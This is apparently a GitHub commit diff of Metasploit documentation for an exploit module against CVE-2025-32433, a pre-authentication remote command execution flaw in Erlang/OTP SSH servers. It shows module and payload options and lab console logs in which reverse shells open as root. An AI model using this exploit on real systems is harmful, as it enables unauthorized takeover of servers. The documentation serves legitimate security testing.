Skip to content

Commit 740a813

Browse files
mekhallehmekhalleh
committed
combine modules
Signed-off-by: RAMELLA Sebastien <[email protected]>
1 parent d387e2b commit 740a813

File tree

4 files changed

+128
-354
lines changed

4 files changed

+128
-354
lines changed

‎documentation/modules/auxiliary/scanner/ssh/ssh_erlangotp.md‎

Lines changed: 0 additions & 78 deletions
This file was deleted.

‎documentation/modules/exploit/linux/ssh/ssh_erlangotp_rce.md‎

Lines changed: 42 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,9 @@ versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20.
1111

1212
### Introduction
1313

14-
This module exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH servers
15-
that allows remote command execution. By sending crafted SSH packets, it executes a Metasploit
16-
payload to establish a reverse shell on the target system.
14+
This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH
15+
servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to
16+
establish a reverse shell on the target system.
1717

1818
The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`
1919
function without requiring authentication.
@@ -49,9 +49,15 @@ docker run -d -p 2223:2223 patched-ssh:latest
4949
3. Do: `set RHOSTS [IP]`
5050
4. Do: `run`
5151

52+
## Options
53+
54+
**CHECK_ONLY**
55+
56+
Only check for vulnerability without exploiting. Default: `false`
57+
5258
## Scenarios
5359

54-
### Target 0
60+
### Using linux commands (Target 0)
5561

5662
Use the linux commands CMD.
5763

@@ -60,10 +66,12 @@ msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
6066
6167
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
6268
63-
Name Current Setting Required Description
64-
---- --------------- -------- -----------
65-
RHOSTS 192.168.1.16 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
66-
RPORT 2222 yes The target port
69+
Name Current Setting Required Description
70+
---- --------------- -------- -----------
71+
CHECK_ONLY false no Only check for vulnerability without exploiting
72+
RHOSTS 172.20.7.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
73+
RPORT 2222 yes The target port (TCP)
74+
THREADS 1 yes The number of concurrent threads (max one per host)
6775
6876
Payload options (cmd/linux/https/x64/meterpreter/reverse_tcp):
6977
@@ -76,14 +84,14 @@ Payload options (cmd/linux/https/x64/meterpreter/reverse_tcp):
7684
FETCH_SRVHOST no Local IP to use for serving payload
7785
FETCH_SRVPORT 8080 yes Local port to use for serving payload
7886
FETCH_URIPATH no Local URI to use for serving payload
79-
LHOST 192.168.1.16 yes The listen address (an interface may be specified)
87+
LHOST 172.20.7.45 yes The listen address (an interface may be specified)
8088
LPORT 4444 yes The listen port
8189
8290
When FETCH_FILELESS is false:
8391
8492
Name Current Setting Required Description
8593
---- --------------- -------- -----------
86-
FETCH_FILENAME PBAcwEBEszFT no Name to use on remote system when storing payload; cannot contain spaces or slashes
94+
FETCH_FILENAME fxCcJWmo no Name to use on remote system when storing payload; cannot contain spaces or slashes
8795
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
8896
8997
Exploit target:
@@ -92,42 +100,23 @@ Exploit target:
92100
-- ----
93101
0 Linux Command
94102
95-
96103
View the full module info with the info, or info -d command.
97104
98-
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > check
99-
[*] 192.168.1.16:2222 - Using auxiliary/scanner/ssh/ssh_erlangotp as check
100-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_KEXINIT...
101-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_OPEN...
102-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
103-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - The target is vulnerable to CVE-2025-32433.
104-
[*] 192.168.1.16:2222 - Scanned 1 of 1 hosts (100% complete)
105-
[+] 192.168.1.16:2222 - The target is vulnerable.
106-
107105
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
108-
[*] Started reverse TCP handler on 192.168.1.16:4444
109-
[*] 192.168.1.16:2222 - Running automatic check ("set AutoCheck false" to disable)
110-
[*] 192.168.1.16:2222 - Using auxiliary/scanner/ssh/ssh_erlangotp as check
111-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_KEXINIT...
112-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_OPEN...
113-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
114-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - The target is vulnerable to CVE-2025-32433.
115-
[*] 192.168.1.16:2222 - Scanned 1 of 1 hosts (100% complete)
116-
[+] 192.168.1.16:2222 - The target is vulnerable.
117-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Starting exploit for CVE-2025-32433
118-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH banner...
119-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
120-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_KEXINIT...
121-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_OPEN...
122-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
123-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Payload sent successfully
106+
[*] Started reverse TCP handler on 172.20.7.45:4444
107+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Starting exploit for CVE-2025-32433
108+
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
109+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_KEXINIT...
110+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_OPEN...
111+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
112+
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Payload sent successfully
124113
[*] Sending stage (3045380 bytes) to 172.17.0.2
125-
[*] Meterpreter session 1 opened (192.168.1.16:4444 -> 172.17.0.2:42718) at 2025-04-20 17:31:35 +0400
114+
[*] Meterpreter session 1 opened (172.20.7.45:4444 -> 172.17.0.2:37326) at 2025-04-25 10:18:19 +0400
126115
127116
meterpreter >
128117
```
129118

130-
### Target 1
119+
### Using unix commands (Target 1)
131120

132121
Use the unix commands CMD.
133122

@@ -136,16 +125,18 @@ msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
136125
137126
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
138127
139-
Name Current Setting Required Description
140-
---- --------------- -------- -----------
141-
RHOSTS 192.168.1.16 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
142-
RPORT 2222 yes The target port
128+
Name Current Setting Required Description
129+
---- --------------- -------- -----------
130+
CHECK_ONLY false no Only check for vulnerability without exploiting
131+
RHOSTS 172.20.7.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
132+
RPORT 2222 yes The target port (TCP)
133+
THREADS 1 yes The number of concurrent threads (max one per host)
143134
144135
Payload options (cmd/unix/reverse_bash):
145136
146137
Name Current Setting Required Description
147138
---- --------------- -------- -----------
148-
LHOST 192.168.1.16 yes The listen address (an interface may be specified)
139+
LHOST 172.20.7.45 yes The listen address (an interface may be specified)
149140
LPORT 4444 yes The listen port
150141
151142
Exploit target:
@@ -154,36 +145,17 @@ Exploit target:
154145
-- ----
155146
1 Unix Command
156147
157-
158148
View the full module info with the info, or info -d command.
159149
160-
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > check
161-
[*] 192.168.1.16:2222 - Using auxiliary/scanner/ssh/ssh_erlangotp as check
162-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_KEXINIT...
163-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_OPEN...
164-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
165-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - The target is vulnerable to CVE-2025-32433.
166-
[*] 192.168.1.16:2222 - Scanned 1 of 1 hosts (100% complete)
167-
[+] 192.168.1.16:2222 - The target is vulnerable.
168-
169150
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
170-
[*] Started reverse TCP handler on 192.168.1.16:4444
171-
[*] 192.168.1.16:2222 - Running automatic check ("set AutoCheck false" to disable)
172-
[*] 192.168.1.16:2222 - Using auxiliary/scanner/ssh/ssh_erlangotp as check
173-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_KEXINIT...
174-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_OPEN...
175-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
176-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - The target is vulnerable to CVE-2025-32433.
177-
[*] 192.168.1.16:2222 - Scanned 1 of 1 hosts (100% complete)
178-
[+] 192.168.1.16:2222 - The target is vulnerable.
179-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Starting exploit for CVE-2025-32433
180-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH banner...
181-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
182-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_KEXINIT...
183-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_OPEN...
184-
[*] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
185-
[+] 192.168.1.16:2222 - ssh://192.168.1.16:2222 - Payload sent successfully
186-
[*] Command shell session 3 opened (192.168.1.16:4444 -> 172.17.0.2:45134) at 2025-04-20 17:33:33 +0400
151+
[*] Started reverse TCP handler on 172.20.7.45:4444
152+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Starting exploit for CVE-2025-32433
153+
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
154+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_KEXINIT...
155+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_OPEN...
156+
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
157+
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Payload sent successfully
158+
[*] Command shell session 13 opened (172.20.7.45:4444 -> 172.17.0.2:44366) at 2025-04-25 10:21:05 +0400
187159
188160
whoami
189161
root

0 commit comments

Comments
 (0)